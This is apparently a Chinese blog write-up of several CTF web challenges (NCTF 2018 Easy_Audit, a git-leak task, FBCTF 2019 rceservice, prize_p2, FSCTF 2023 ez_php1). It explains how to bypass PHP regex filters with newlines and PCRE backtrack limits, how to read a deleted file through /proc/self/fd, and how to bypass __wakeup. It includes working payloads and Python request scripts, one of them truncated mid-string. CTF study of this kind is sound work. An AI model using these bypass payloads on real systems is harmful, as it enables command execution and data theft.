• NSSCTF第13页(1)


    [NCTF 2018]Easy_Audit

    小小代码审计

    $_REQUEST:PHP的内置变量,是一个数组,保存传递的参数,它的特性是如果get,post一起传参,则会优先post传参,可以由此进行变量覆盖。

    $_SERVER:PHP的内置变量,是一个数组,其中QUERT_STRING是指问号之后的所有字符串,其不会对参数进行url解码,可以采用url编码绕过。

    substr()返回字符串的提取部分,如果失败则返回 FALSE,或者返回一个空字符串。

    md5()处理数组时也会返回flase

    file_get_contents()可以使用data://text/plain,xxxx来构造我们需要的字符

     $_REQUEST有一个特性,就是当GET和POST都存在同一个变量名的时候,只获取POST中的值,所以可以通过这个特性来绕过正则的匹配

    这个正则绕过也很简单只要nctf是以nctfisfun结尾,且不等于nctfisfun就行了,我这里用nctfisfun 绕过的 也就是nctfisfun%0A

    file_get_contents函数,从参数里面看就是直接传入一个远程的txt就行了,txt的内容为ccc_liubi

    [NCTF 2018]全球最大交友网站

    下载a.zip

     看到这么多文件头大

    先来复习一下git泄露的相关知识

    Git泄露相关知识点-CSDN博客

    常用git命令总结大全_git 命令-CSDN博客

    写的很详细

    执行git log,git log 显示到HEAD所指向的commit为止的所有commit记录,简单说来就是可以查看之前版本的记录(删除了的看不见),git reflog和git log功能一样(删除了的也能查看)。

    可以看到我们git log以后我们能看到三个版本的哈希值,一个是现在所在的版本(hint),一个是前版本(hello),一个是初始化的版本(wrote a readme file),而我们现在的版本大家也看到的是空白的一个文件。

    看见有提示 读取一下

    git reset --hard 与 git cherry-pick

    git reset —hard HEAD/HEAD^/HEAD^^/HEAD~100   回退到上几个版本
    HEAD是当前版本,HEAD^上个版本,HEAD^^上上个版本,HEAD~100回退100个版本
    git reset —hard 3628164 回退到指定版本号,版本号不用写全

    git reset --hard HEAD

    说是所有的都在tag1.0里边,因为tag1.0是上一个版本的

    所以我们用命令 git reset --hard HEAD^

    cat一下,得到flag

     [FBCTF 2019]rceservice

    附件是源码

     

       

    Web Adminstration Interface

    putenv('PATH=/home/rceservice/jail');

    if (isset($_REQUEST['cmd'])) {

      $json = $_REQUEST['cmd'];

      if (!is_string($json)) {

        echo 'Hacking attempt detected

    ';

      } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {

        echo 'Hacking attempt detected

    ';

      } else {

        echo 'Attempting to run command:
    ';

        $cmd = json_decode($json, true)['cmd'];

        if ($cmd !== NULL) {

          system($cmd);

        } else {

          echo 'Invalid input';

        }

        echo '

    ';

      }

    }

    ?>

       

          Enter command as JSON:

         

       

     

    提示输入json命令,json格式为键值对模式,输入{“cmd”:“ls”}  

     正则限制

    preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json

    第一种:

    这里的正则限制和其他题的不一样,他是只限制第一行

    preg_match('/^.*(flag).*$/',$a) 

    上面的正则过滤中,.不会匹配到换行符可以\nflag绕过
    在非多行模式下,$不会匹配到%0a,可以flag%0a绕过 

    源码中可以看到putenv('PATH=/home/rceservice/jail')已经修改了环境变量

     cat命令在/bin中保存

    Linux命令的位置:`/bin`,`/usr/bin`,默认都是全体用户使用,
    `/sbin`,`/usr/sbin`,默认root用户使用

    %0A是换行符

     ?cmd={%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}

    第二种

    利用回溯次数来绕过函数 ,以前从来没见过,又学到了新东西

     https://www.cnblogs.com/EchoQ12/p/17644247.html --利用PCRE回溯次数限制绕过

    PHP利用PCRE回溯次数限制绕过某些安全限制实战案例_pcre.backtrack_limit-CSDN博客

    PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit默认一百万,超过一百万不会返回1或0而是false即超过限制即可 

    import requests
    from io import BytesIO

    files = {
      'file': BytesIO(b'aaa }

    res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
    print(res.headers)

    这道题的脚本

    import requests
    url='http://node4.anna.nssctf.cn:28039'
    data={
        'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","DMIND":"'+'a'*1000000+'"}'
        }
    print(url)
    res = requests.post(url=url,data=data)
    print(res.text)

     prize_p2

    js代码审计......

    gpt的审计

    这段代码是一个使用 Node.js 的 Express 框架编写的简单服务器。下面逐行解释代码的含义:

    1. const { randomBytes } = require('crypto');:引入 Node.js 的 crypto 模块,以便后续使用 crypto.randomBytes() 函数生成随机字节。

    2. const express = require('express');:引入 Express 框架。

    3. const fs = require('fs');:引入 Node.js 的 fs 模块,用于文件操作。

    4. const fp = '/app/src/flag.txt';:定义了一个变量 fp,表示要读取的文件路径

    5. const app = express();:创建 Express 应用程序的实例。

    6. const flag = Buffer(255);:定义了一个大小为 255 字节的 Buffer 对象 flag,作为存储 flag 的缓冲区。

    7. const a = fs.open(fp, 'r', (err, fd) => {...}):异步地打开文件 fp,并将文件描述符 fd 传入回调函数。在回调函数中,使用 fs.read() 函数从文件中读取 44 字节的内容到 flag 缓冲区,并在读取完成后调用 fs.rm() 函数删除文件。

    8. app.get('/', function (req, res) {...}):当收到根路径的 GET 请求时,发送服务器源代码回客户端。

    9. app.get('/hint', function (req, res) {...}):当收到 /hint 路径的 GET 请求时,发送 flag 的部分内容(取决于随机数 randomBytes(1)[0] 的值)回客户端。

    10. app.get('/getflag', function (req, res) {...}):当收到 /getflag 路径的 GET 请求时,根据客户端提供的参数进行处理。如果参数 a 与 randomBytes(3).toString() 相等,发送指定文件的内容回客户端;否则,根据参数 c 的值设置一个定时器,在一天后或参数 c 毫秒后发送指定文件的内容回客户端。

    11. app.listen(80, '0.0.0.0', () => {...}):监听端口 80,并在服务器启动后输出 "Start listening"。

    总体来说,这段代码是一个简单的服务器,根据不同的请求路径和参数来返回不同的内容。其中,涉及读取文件、生成随机数、设置定时器等操作。需要注意的是,代码中 flag 的内容是通过异步读取文件并存储在 flag 变量中的,可以通过发送 /hint 路径的请求来获取部分 flag 的内容。

    输入hint发现他会随机显示flag字符

    setTimeout:

    setTimeout是使用Int32来存储延时参数值的,也就是说最大的延时值是2^31-1。 一旦超过了最大值,其效果就跟延时值为0的情况一样。数为 2147483648,即可实现延时为0。

    fd:

    /app/src/flag.txt 文件被 open() 打开,但最终没有关闭,虽然删除了该文件,但在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的文件描述符,通过这个文件描述符我们即可得到被删除文件的内容。/proc/self/fd 这个目录里包含了进程打开文件的情况,目录里面有一堆/proc/self/fd/id文件,id就是进程记录的打开文件的文件描述符的序号。id可爆破猜测获得。

    payload :

    getflag?b=/proc/self/fd/18&c=2147483648

    [FSCTF 2023]ez_php1

    先代码审计

     

    要传参a,b,a不等于b,a的md5值等于b的md5值,变量c是post传参

    在加上正则限制

    访问L0vey0U.php

    这个就是序列化一下key,然后用str传参

    传参

    访问P0int.php

    序列化传参绕过__wakeup()

    让a的值赋值给b,所以打印b就是在打印a的值了

    $b​ 不是引用 $a​,而是直接赋值为 $a​ 的值,那么在对象销毁时,$b​ 会被销毁。因此,在 __destruct​ 方法中访问 $this->b​ 时,可能会引发错误因为 $b​ 已经不存在。

    通过使用引用关系,$a​ 和 $b​ 共享相同的内存地址,确保了在 __destruct​ 方法中能够正确访问到 $a​ 的内容

     

    解码得到flag

  • 相关阅读:
    Vue列表渲染
    Linux入门之 systemd unit 文件
    LLM大模型实战 —— DB-GPT阿里云部署指南
    Chapter3.2:时域分析法
    [附源码]计算机毕业设计springboot疫苗及注射管理系统
    大数据随记 —— Scala 环境搭建、插件安装
    本地域名 127.0.0.1 / localhost
    神经网络预测应力应变-单轴实验
    C语言之文件操作【万字详解】
    广东新型制造类企业源代码防泄密方案
  • 原文地址:https://blog.csdn.net/wwwwyyyrre/article/details/134447258